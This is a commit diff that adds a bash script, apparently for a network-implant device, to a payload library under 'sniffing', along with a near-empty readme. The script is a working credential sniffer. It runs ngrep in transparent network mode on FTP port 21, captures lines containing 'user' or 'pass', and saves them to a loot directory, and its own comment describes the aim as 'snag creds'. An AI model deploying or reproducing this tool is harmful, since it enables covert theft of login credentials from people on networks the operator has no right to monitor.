Added ngrep payload (#12)

payloads/library/sniffing/ngrep/payload.sh

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+#!/bin/bash
+# ngrep payload to snag creds
+
+NGREP_OPTIONS=("-wiql" "user|pass" "port" "21")
+CONDITION=""
+WCNUM=3
+
+LOOT_DIR="/mnt/loot/ngrep"
+LOG_FILE="${LOOT_DIR}/ngrep-${RANDOM}.log"
+
+
+function syncFS() {
+	while true
+	do
+		sync
+		sleep 5
+	done
+}
+
+function setup() {
+	LED OFF
+	NETMODE TRANSPARENT
+	sleep 5
+	mkdir -p $LOOT_DIR
+}
+
+function checkLog() {
+	[[ -z $CONDITION ]] && {
+		grep -qi $CONDITION $LOG_FILE && {
+			return 0
+		}
+	} || {
+		[[ $(wc -l < $LOG_FILE) -gt $WCNUM ]] && {
+			return 0
+		}
+	}
+	return 1
+}
+
+function run() {
+	ngrep "${NGREP_OPTIONS[@]}" 2>&1 > $LOG_FILE &
+	npid=$!
+
+	while true
+	do
+		NO_LED=true BUTTON && {
+			checkLog && {
+				LED FINISH
+				kill $npid
+
+				sleep 3
+				
+				LED OFF
+				halt
+			} || {
+				LED FAIL
+				sleep 3
+				LED OFF
+			}
+		}
+	done
+}
+
+
+
+[[ ! -f /mnt/NO_MOUNT ]] && {
+	setup
+	syncFS &
+	run
+} || {
+	LED FAIL
+}

payloads/library/sniffing/ngrep/readme.md

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+# ngrep payload
+
+# Description
+
+Does packet sniffing stuff
+
+## Options
+
+